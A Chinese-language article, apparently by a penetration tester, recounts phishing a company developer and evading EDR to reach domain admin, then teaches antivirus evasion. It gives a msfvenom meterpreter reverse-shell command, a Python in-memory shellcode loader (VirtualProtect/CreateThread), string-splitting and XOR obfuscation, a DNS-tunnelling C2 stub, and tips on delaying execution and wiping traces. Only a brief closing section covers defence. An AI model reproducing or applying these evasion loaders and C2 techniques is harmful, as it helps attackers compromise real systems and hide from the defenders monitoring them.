一、一次成功绕过 EDR 的渗透故事
有一次,我接到一个任务,目标是某知名互联网公司的一台开发服务器。该服务器部署了多层防护,包括主流的 EDR(终端检测响应系统)和领先的杀毒软件。通过社工手段,我获得了目标开发人员的一些信息,并成功发送了一份伪造的更新脚本邮件。
然而,目标机器的防护非常严密,我的初始载荷虽然执行了,但很快被发现并阻止了。于是开始了我深入研究恶意载荷免杀的过程。最终,我通过巧妙的混淆技术、内存加载方法以及 C2 流量伪装,成功实现了横向移动并获取了域管理员权限。这篇文章就是对这次渗透的完整技术复盘。
二、避开传统扫描:载荷免杀的核心目标
现代的杀毒软件和 EDR 系统对恶意载荷的检测已经远超传统的基于签名匹配方式。它们能够通过以下方式进行检测:
- 行为分析:通过分析载荷执行的行为流来判断是否恶意,例如是否调用敏感 API(
VirtualAlloc等)。 - 内存扫描:对执行中的进程进行内存扫描,检测可疑代码块。
- 流量分析:观察载荷与外部 C2 服务器交互时的网络流量特征。
我们要破解这些检测机制,必须从以下几个方向着手:
- 代码混淆:让静态分析工具无法识别载荷的意图。
- 内存加载:避免恶意代码直接落地到磁盘。
- 流量伪装:隐藏 C2 通信的真实流量特征。
- 行为伪装:尽量模仿正常程序的行为。
接下来,我将带你逐步拆解这些技术,并提供完整的代码示例。

三、构造无痕迹的恶意载荷
1. 初始载荷的构造方法
我们选择生成一个恶意载荷(反向 shell),使用 Metasploit 的 msfvenom 工具生成标准的 exe 文件。以下是基本生成方法:
<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<端口> -f exe > shell.exe</code></pre>
但这种直接生成的载荷几乎无法逃过杀毒软件的检测。为了绕过,我们可以使用 Python 自行构造载荷,直接加载 shellcode 到内存中。
2. Python 构造内存加载载荷
以下是一个完整的 Python 脚本示例,它通过直接加载 shellcode 到内存中执行:
<pre><code class="language-python">import ctypes import base64

base64 编码的 shellcode,避免直接暴露
shellcode = b"BASE64_ENCODED_SHELLCODE_HERE"
解码 shellcode
decoded_shellcode = base64.b64decode(shellcode)
分配内存,并写入 shellcode
shellcode_buffer = ctypes.create_string_buffer(decoded_shellcode) shellcode_ptr = ctypes.cast(shellcode_buffer, ctypes.c_void_p)

设置内存可执行权限
ctypes.windll.kernel32.VirtualProtect(shellcode_ptr, len(decoded_shellcode), 0x40, ctypes.byref(ctypes.c_ulong(0)))
执行 shellcode
ctypes.windll.kernel32.CreateThread(0, 0, shellcode_ptr, 0, 0, ctypes.byref(ctypes.c_ulong(0)))</code></pre>
这段代码的关键点在于:
- 使用
CreateThread直接在内存中执行 shellcode,避免落地到磁盘。 - 使用
base64编码隐藏载荷内容,进一步降低静态分析的可能性。
四、混淆代码:隐藏载荷意图
1. 简单的字符串分割混淆
我们可以使用分割字符串的方法,将 base64 编码的 shellcode分散存储,并在运行时动态拼接:
<pre><code class="language-python"># 分割后的 shellcode shellcode_parts = [ "BASE64_PART1", "BASE64_PART2", "BASE64_PART3" ]
动态拼接
shellcode = "".join(shellcode_parts).encode() decoded_shellcode = base64.b64decode(shellcode)</code></pre>
这种方法虽然简单,但对于基础的静态分析工具已经足够有效。
2. 动态解密技术
更进一步,我们可以对 shellcode 使用简单的加密算法,在运行时解密。以下是一个 XOR 加密示例:
<pre><code class="language-python">def xor_encrypt(data, key): return bytearray([b ^ key for b in data])
加密 shellcode
key = 0x55 encrypted_shellcode = xor_encrypt(decoded_shellcode, key)
解密 shellcode
decrypted_shellcode = xor_encrypt(encrypted_shellcode, key)</code></pre>
XOR 加密虽然并不复杂,但能让绝大多数杀毒软件的静态扫描工具束手无策。
五、避开 EDR:行为伪装与流量对抗
1. 模拟正常行为
载荷执行时,我们可以模仿正常程序的行为,避免调用敏感 API,例如:
- 使用
CreateThread替代NtCreateThreadEx。 - 在执行之前,通过
Sleep延迟触发,以绕过行为分析的短时间判定。
2. 隐藏 C2 通信
传统的 C2 通信常用 HTTP 或 HTTPS,但这些容易被流量监控发现。我们可以伪装成常见软件的流量模式,例如 DNS 查询:
<pre><code class="language-python">import socket
def dns_tunnel(domain):
随机生成子域名
subdomain = "malicious_payload_123" full_domain = f"{subdomain}.{domain}"
发送 DNS 查询
try: socket.gethostbyname(full_domain) except socket.error: pass</code></pre>
将恶意指令嵌入到 DNS 查询的子域名中,可以有效绕过流量检测。
六、个人经验分享与注意点
1. 不要过度依赖工具 很多人喜欢直接使用现成的工具,比如 Cobalt Strike 的 Beacon 或 Metasploit 的 Meterpreter,但这些工具因为太过流行,已经成为杀毒软件和 EDR 的重点防御对象。自己动手构造载荷,才能真正实现免杀。
2. 多层次免杀 单一的免杀技术远远不够,必须结合代码混淆、行为伪装、内存加载、流量隐藏等多种手段,才能真的绕过强大的防护体系。
3. 小心痕迹清除 免杀只是第一步,在执行完目标之后,要注意清除攻击痕迹,包括临时文件、注册表修改记录以及可疑的内存数据。
七、检测与防御技术
作为防守方,可以采取以下手段:
- 加强行为监控,通过更长时间的行为链分析找到可疑进程。
- 加强内存扫描技术,尤其对动态加载的模块进行深度分析。
- 监控 C2 流量,发现异常域名查询和加密通信模式。
同时也要定期更新安全规则,防止攻击者的免杀技术对企业网络造成威胁。